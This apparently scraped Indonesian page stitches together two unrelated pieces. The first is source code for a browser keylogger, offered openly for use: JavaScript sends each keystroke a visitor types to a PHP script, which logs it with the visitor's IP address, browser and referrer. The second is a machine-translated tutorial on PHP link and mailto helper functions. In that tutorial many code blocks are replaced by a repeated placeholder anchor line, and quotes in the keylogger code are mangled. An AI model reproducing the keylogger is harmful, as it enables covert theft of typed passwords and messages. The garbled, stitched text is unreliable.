Cara menggunakan fromcharcode php

keylogg ini terdiri dari 3 file,, yaitu..

index.php

write.php

record.js

ok langsung aj liat source code nya…

 

index.php

<html>
<head>
<SCRIPT language=”javascript” SRC=”record.js”></SCRIPT>
</head>
<body onkeyup=”behavior(event)”>
Page Content<br />
Please Change To This File = record.js and Edit This:
<br />
makeRequest(‘; + keyb);
</br />
</body>
</html>

 

write.php

<?php
/*
*/
$get = $_GET[‘on’].”|”;
$browser = $_SERVER[‘HTTP_USER_AGENT’]; //browser
$remoteadd = $_SERVER[‘REMOTE_ADDR’].”.html”; //name
$ip = $_SERVER[‘REMOTE_ADDR’];
$refrer = $_SERVER[‘HTTP_REFERER’];
##################################
$handleget = fopen($remoteadd,”a”); //handle for keylogger get
$handle1 = fopen($remoteadd,”c”); //handle for browser and…
fwrite($handle1,”<style>body { font-family:tahoma; font-size:12px; background-color:#000; color:#fff; } </style><div align=’center’>Browser: “.$browser.”<br />”.”IP:”.$ip.”<br />”.”Refrer:”.$refrer.”<br />”.”Coded By: Amir Masoud”.”<br /><hr /></div> Typed: <br />”);

fwrite($handleget,$get);
fclose($handleget);

?>

 

record.js

function behavior(event)
{
var keya = “”;
keya = event.keyCode;
keyb = String.fromCharCode(keya);
makeRequest(‘; + keyb);
}
function makeRequest(url)
{
var httpRequest;
if (window.XMLHttpRequest)
{ // Mozilla, Safari
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType(‘text/xml’);
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject(“Msxml2.XMLHTTP”);
}
catch (e) {
try {
httpRequest = new ActiveXObject(“Microsoft.XMLHTTP”);
}
catch (e) {}
}
}
if (!httpRequest)
{
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open(‘GET’, url, true);
httpRequest.send(null);
}
function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
}
}
}

 

DONE!!!!!

Share this:

  • Twitter
  • Facebook

Menyukai ini:

Suka Memuat...

Terkait

Kebutuhan tukang setiap toolbox yang baik, dan web developer tidak berbeda. Fungsi PHP helper dirancang untuk mempercepat dan homogenisasi, tugas berulang, dan membuat hidup Anda lebih mudah. Tutorial pertama ini menjelaskan cara membuat link pembantu yang akan meningkatkan metode Anda untuk menambahkan hyperlink dan link mailto dalam aplikasi web Anda.


Sebuah Pengantar

Cara menggunakan fromcharcode php

Ya, ada apa-apa cukup seperti awesome, hemat waktu perangkat yang membuat hidup lebih mudah. Ada banyak tool berguna di luar sana yang dapat meningkatkan alur kerja Anda, dari CSS grids dan layout untuk sistem manajemen konten lengkap dan framework.

Tutorial ini, namun, akan menyelidiki konsep fungsi helper PHP, dan bagaimana Anda dapat menulis generalised potongan untuk situs Anda bahwa Anda akan dapat menggunakan berulang-ulang. Ini adalah fungsi yang baik kecepatan dan membersihkan Anda proses pengkodean, sehingga tugas berulang dapat diminimalkan, dan Anda dapat menghabiskan lebih banyak waktu Anda khawatir tentang hal yang penting dalam kehidupan... seperti makan malam.


Salah satu tugas berulang yang paling umum kita menemukan diri kita harus menulis adalah hyperlink. Dengan menciptakan fungsi helper untuk ini kita dapat menghemat waktu setiap kali kita perlu untuk menulis satu, menghapus setiap kemungkinan kesalahan sintaks, dan memastikan kode ini mudah untuk memperbarui jika file dipindahkan ke mana saja, atau jika Anda memindahkan situs ke domain yang berbeda. Untuk memulai, kami akan membuat fungsi sangat sederhana di sebuah file bernama helpers.php:

<?php 
function get_domain()
{
  //the variable $domain can be set to the domain your application is running from. 
	$domain = "https://www.my-site-domain.com/";
   	return $domain;
}

Bayi kecil ini bisa dipanggil setiap kali kita perlu mendapatkan path lengkap ke file, dan dapat dirujuk berulang-ulang selama pengembangan situs Anda. Ini adalah metode yang lebih berguna daripada hanya memanggil domain dengan $_SERVER ['HTTP_HOST'] metode, karena itu tidak akan berubah jika seseorang telah mengetik dalam domain dengan atau tanpa "www", dan bekerja dengan gembira jika situs Anda adalah pada subdomain, misalnya "http://localhost/my-site".

Hal ini juga sangat berguna ketika memindahkan situs, karena semua path absolut akan mengacu pada satu fungsi ini, sehingga mengubah variabel $domain ke domain baru akan mengubah semua Anda seluruh link situs dalam satu tukikan tunggal.


Merampingkan kode

Apa yang akan kami bertujuan untuk lakukan sekarang adalah untuk membuat sebuah fungsi baru yang disebut "anchor" yang akan menampilkan serangkaian compliant, standar html lengkap dengan judul. Berikut adalah contoh dari apa yang kita ingin output:

<a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>

Dan di sini adalah apa yang kita ingin mengetik:

echo anchor('new-page.php','New Page');

Jadi di sini kita memiliki fungsi PHP yang direferensikan yang memiliki dua variabel yang diteruskan: satu untuk link, dan satu untuk menampilkan teks. Jadi sekarang, masih pada file helpers.php kami, kita dapat mulai menulis fungsi baru:

function anchor($link, $text) // 1
{
	$domain = get_domain(); // 2
    $link = $domain . $link; // 3
	
    $data = '<a href="' . $link . '"';
	$data .= ' title="' . $text . '"'; //4
	$data .= '>';
	$data .= $text; //4
	$data .= "</a>";
	
	return $data;
}
  1. Di sini, kami mengatur fungsi "anchor" dengan dua variabel yang dimasukan.
  2. Kami kemudian mendapatkan nama domain dari fungsi get_domain() yang kita telah membuat
  3. Selanjutnya, kami menambahkan variabel $link yang telah dikirim ke fungsi.
  4. Kami kemudian mulai untuk membuat output string variabel dinamai $data, dan menggunakan tag variabel untuk menggandakan sebagai kedua teks terlihat untuk situs, serta 'title' $text untuk link.

Sekarang kita dapat menguji hal ini. Buat sebuah file baru yang disebut index.php, dalam folder yang sama sebagai helpers.php file ini, dan ketik:

require('helpers.php');
echo anchor('new-page.php','New Page');

Di sini, kita telah terhubung dua file dengan require() fungsi, dan kemudian memanggil fungsi anchor(), mengirim dua variabel dengan itu. Jika Anda menguji ini dalam browser Anda akan melihat hasil yang diinginkan:

<a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>

Membuatnya fleksibel

Fungsi sederhana ini dapat berguna, tetapi tidak diragukan lagi akan menjadi konstriksi cukup cepat. Kita perlu menambahkan tiga fitur baru sebelum menjadi benar-benar mengagumkan dan fleksibel; pertama, pilihan untuk menambahkan judul kustom tag; kedua, mampu menambahkan CSS; dan ketiga, pilihan untuk itu untuk membuka di jendela baru, jika perlu.

Mari kita tinjau tag kustom judul pertama. Judul tag sangat penting untuk tujuan SEO, dan jika Anda tidak menempatkan di linknya Anda pada saat ini, saya sangat menyarankan itu menjadi kebiasaan sekarang. Fungsi ini akan membantu mendorong Anda melakukannya--sebenarnya, seperti itu jauh lebih mudah untuk menambahkan, dan jika Anda belum menambahkan satu secara manual, salinan menampilkan teks default akan digunakan sebagai gantinya.

function anchor($link, $text, $title) //1
{
	$domain = get_domain();
	$link = $domain . $link;
	$data = '<a href="' . $link . '"';
	
	if ($title) //2
	{
		$data .= ' title="' . $title . '"'; //3
	}
	else
	{
		$data .= ' title="' . $text . '"'; //4
	}
		
	$data.= '>';
	
	$data .= $text;
	$data .= "</a>";
	
	return $data;
}

Jadi di sini adalah versi yang diubah dan peningkatan fungsi anchor() kami.

  1. Sekarang kami telah menambahkan variabel ketiga, $title.
  2. Kami kemudian menjalankan Periksa untuk melihat jika tag judul kustom telah dimasukkan.
  3. Jika tidak, kami menambahkan sebagian ke output $data string yang menetapkan judul tag3.
  4. Jika tidak ada yang dimasukkan, itu akan default judul tag untuk menampilkan teks, $text, seperti sediakala.

Sekarang, jika kita mengubah pemanggilam fungsi di index.php menjadi:

echo anchor('new-page.php','New Page','Custom Title Message!');

Kita akan berakhir dengan output memuaskan ini:

<a href="http://www.my-site-domain.com/new-page.php" title="Custom Title Message!">New Page</a>

Styling dan Target pilihan

Untuk memastikan bahwa kita masih bisa menggunakan helper ini bahkan jika kita perlu menambahkan CSS kustom atau target tag, kami sekarang akan menambahkan bagian kami yang akan membaca variable keempat, dan output html yang sesuai.

Kita membutuhkan fungsi ini menjadi cukup pintar untuk melihat apakah kita ingin menempatkan di class CSS, CSS ID atau target tag, dan kami juga ingin dapat menempatkan beberapa pilihan, atau pilihan yang tunggal, atau tidak ada pilihan sama sekali. Pertama, mari kita mengubah fungsi anchor kami sedikit:

function anchor($link, $text, $title, $extras)//1
{
	$domain = get_domain();
	$link = $domain . $link;
	$data = '<a href="' . $link . '"';
	
	if ($title)
	{
		$data .= ' title="' . $title . '"';
	}
	else
	{
		$data .= ' title="' . $text . '"';
	}
	
	if (is_array($extras))//2
	{
		foreach($extras as $rule)//3
		{
			$data .= parse_extras($rule);//4
		}
	}
	
	if (is_string($extras))//5
	{
		$data .= parse_extras($extras);//6
	}
		
	$data.= '>';
	
	$data .= $text;
	$data .= "</a>";
	
	return $data;
}
  1. Pertama, kita menambahkan memasukan variable keempat, yang disebut "$extras." Ini akan berisi semua pilihan kami kustom.
  2. Selanjutnya, kita periksa untuk melihat jika kita memasukan sebuah array dalam variabel ini. Kita akan menggunakan sebuah array jika kita memasukan beberapa ekstra ke fungsi, misalnya jika kita membutuhkannya untuk memiliki CSS ID dan CSS class yang berbeda untuk link kami.
  3. Jika itu adalah array, kita akan loop melalui itu, dan push setiap item melalui fungsi baru yang disebut "parse_extras." Fungsi ini akan mengambil potongan-potongan tambahan apa yang kita telah masukan, dan membuat output html yang benar.
  4. Jika $extras string, artinya kami hanya memasukan satu aturan melalui; sehingga kami dapat menjalankan fungsi parse_extras() kami baru pada item tunggal. Berguna, fungsi is_string() mengembalikan false jika variabel kosong; Jadi dengan ini potongan kode, jika tidak memasukan $extras, maka kode tidak akan berjalan, dan itu akan dilewati.
  5. Sekarang kita perlu membuat fungsi baru, parse_extras():

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    0

    Fungsi ini membuat penggunaan fakta bahwa semua ekstra kami akan mulai dengan pengenal unik. Jika kita memasukan CSS ID, ia akan mulai dengan hash (#), jika kita memasukan class CSS, ini akan mulai dengan titik (.), dan jika kita melewati target, itu akan mulai dengan tanda garis bawah (_).

    1. Kita dapat memeriksa karakter pertama dari string adalah dengan menggunakan sintaks $string [0]. Anda dapat digunakan untuk menggunakan sintaks ini untuk mengambil item pertama dalam array, tetapi juga metode yang sangat berguna dan cepat untuk menemukan karakter khusus dalam string.
    2. Selanjutnya, kita membuat sebuah variabel baru, yang kami $rule dimasukkan, dengan karakter pertama dipotong. Sekarang bahwa kami telah mengidentifikasi tentang aturan ini, kita tidak lagi perlu untuk output html kami. Ini kombinasi dari substr() dan strlen() adalah cuplikan berguna untuk merajang karakter pertama dari string.
    3. Kita dapat membuat $data html output string, siap untuk mengembalikan. Metode ini dapat sekarang diulang--pertama untuk $rule adalah kelas CSS, dan jika kemudian Apakah html target tag. It's worth menyebutkan bahwa kita tidak perlu untuk memoting dari karakter pertama untuk sasaran tag, sebagai html menggunakan sebelumnya underscore (_), tidak seperti dalam aturan CSS.

    Sekarang bahwa kita telah membuat semua fungsi-fungsi penting, kita dapat kembali ke file index.php dan mengubah pemanggilan anchor().

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    1

    Di sini kita memasukan CSS ID, dan kita menerima output dari:

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    2

    Jika kita menambahkan array ekstra, jika Anda ingin untuk membuka di jendela baru dan memiliki ID tertentu dan class (mungkin, tapi layak memamerkan fleksibilitas!), kita akan melakukannya seperti ini:

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    3

    Di sini, kami sudah menetapakan variabel array disebut ekstra, hanya untuk menjaga kode rapi, dan kemudian mengirimkannya bersama dengan fungsi anchor(). Ini akan menghasilkan output berikut:

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    4

    Akhirnya, kita harus melihat bagaimana untuk membuat link mailto dalam aplikasi Anda. Kami akan membuat sebuah fungsi yang disebut mailto() yang akan sangat mirip dengan fungsi anchor(), dengan satu perbedaan utama: kami akan mengimplementasikan cipher pada html output sehingga alamat email tidak akan dijelajahi oleh spam-spider, dan akan menjaga alamat email klien Anda aman.

    Metode yang kita akan gunakan untuk menyembunyikan alamat email menggunakan fungsi PHP agak mengagumkan str_rot13(), yang hanya mengambil string dan bergerak semua karakter abjad tiga belas karakter bersama, dalam alfabet. Jika Anda pernah pergi ke Pramuka, Anda mungkin ingat penyia-nyiaan waktu dengan kode tersebut, dan memutuskan Anda mungkin akan menjadi mata-mata ketika Anda tumbuh.

    Cipher akan menampilkan kode kita dalam mode kacau, dan kemudian, menggunakan fungsi JavaScript 'penawar', kita dapat menarik karakter kembali tiga belas tempat pada abjad dan mengembalikan ke aslinya. Namun, fungsi ini adalah sisi klien, hanya 'penawar' tindakan, dan teks kembali ke awal, ketika ditampilkan pada layar. Dengan demikian, spider crawler dan spambots, untuk sebagian besar, tidak akan tahu apa yang mereka baca.

    Ini mungkin adalah layak disebutkan bahwa ada banyak metode untuk menyembunyikan link mailto, beberapa jauh lebih aman daripada ini, beberapa kurang begitu. Saya ingin menggunakan metode ini, dan tidak pernah melihat apapun spam datang melalui ke salah satu klien saya karena itu. It's bagus menyebutkan juga bahwa metode JavaScript itu sendiri dikembangkan oleh Christoph Burgdorfer yang enak, dan tampak seperti ini:

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    5

    Ini mengambil string kacau "Njrfbzr frperg fcl pbqr" dan pergeseran semua karakter, sehingga ditampilkan pada layar Anda terlihat seperti:

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    6

    Namun, jika Anda memeriksa kode sumber, yang merupakan apa yang spider dan crawler akan lihat, Anda akan melihat ada disebutkan tentang hasil ini – dengan demikian, itu tetap tersembunyi.

    Kita tidak akan melihat seluk-beluk bagaimana JavaScript ini bekerja, karena ini adalah sebuah PHP tutorial, setelah semua. Sebaliknya, kita akan meneliti bagaimana kita dapat menerapkan ini dalam fungsi mailto() baru kami.

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    7

    Jadi mari kita lihat apakah berbeda di sini.

    1. Pertama, kita masih memasukan melalui empat variabel ke fungsi ini, meskipun, untuk tujuan kosmetik, kami telah berganti nama menjadi variabel pertama untuk $email.
    2. Sekarang, kita membuat sebuah variabel baru dengan output html untuk mailto link. It's bagus dicatat bahwa kami telah menambahkan tanda garis miring terbalik sebelum kutipan menandai sebagai string ini kemudian akan muncul di dalam fungsi JavaScript, dan kita perlu memastikan bahwa tanda kutipan Jangan bingung.
    3. Selanjutnya, kami menerapkan str_rot13() fungsi pada variabel $link, sehingga ia diencode.
    4. Kita dapat membuat variabel $data dan mengembalikannya, yang berisi JavaScript yang siap untuk di tampilkan.
    5. Kami menempatkan kami $link di encode di tengah-tengah semua ini - siap untuk diterjemahkan.
    6. Sekarang bahwa JavaScript telah ditambahkan ke variabel $data kami, seluruh fungsi akan tampak akrab.
    7. Kami memeriksa untuk melihat apakah tag judul kustom yang telah ditambahkan, dan kemudian kami mengurai $extras kami, hanya seperti sebelumnya. Sekali lagi, kita mendapatkan Tag kami ditutup...
    8. .. .dan mengembalikan data.

    Kita sekarang dapat menggunakan sintaks berikut di file index.php kami untuk membawa kami link mailto:

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    8

    Atau, jika kita membutuhkan kustom element, seperti sebelumnya, kita dapat menambahkan lebih banyak variabel:

    <a href="http://www.my-site-domain.com/new-page.php" title="New Page">New Page</a>
    9

    Kesimpulan

    Ini menyimpulkan terjun kami pertama ke fungsi PHP helper. Ini adalah seperti puncak gunung es, dan waktu berikutnya, kami akan mulai meninjau beberapa tool yang lebih kompleks, dalam nama form helper.

    Pembuatan form dan validasi telah menjadi salah satu hewan peliharaan saya peeves ketika membuat mereka dari awal-ada banyak kode yang berulang, menulis telaten, dan kemungkinan kesalahan. Serangkaian fungsi yang baik output bentuk benar terstruktur dan memeriksa posting data untuk alamat email yang valid, password, panjang string, dll, dapat menjadi penyelamat. Ah ya, membuat html form dari awal membutuhkan tidak akan begitu groan-worthy seperti yang Anda pikir sebelumnya.

    Jika Anda memiliki ide-ide lain dari apa yang akan sangat membantu untuk melihat dalam fungsi PHP helper, pastikan untuk komentar ide-ide Anda!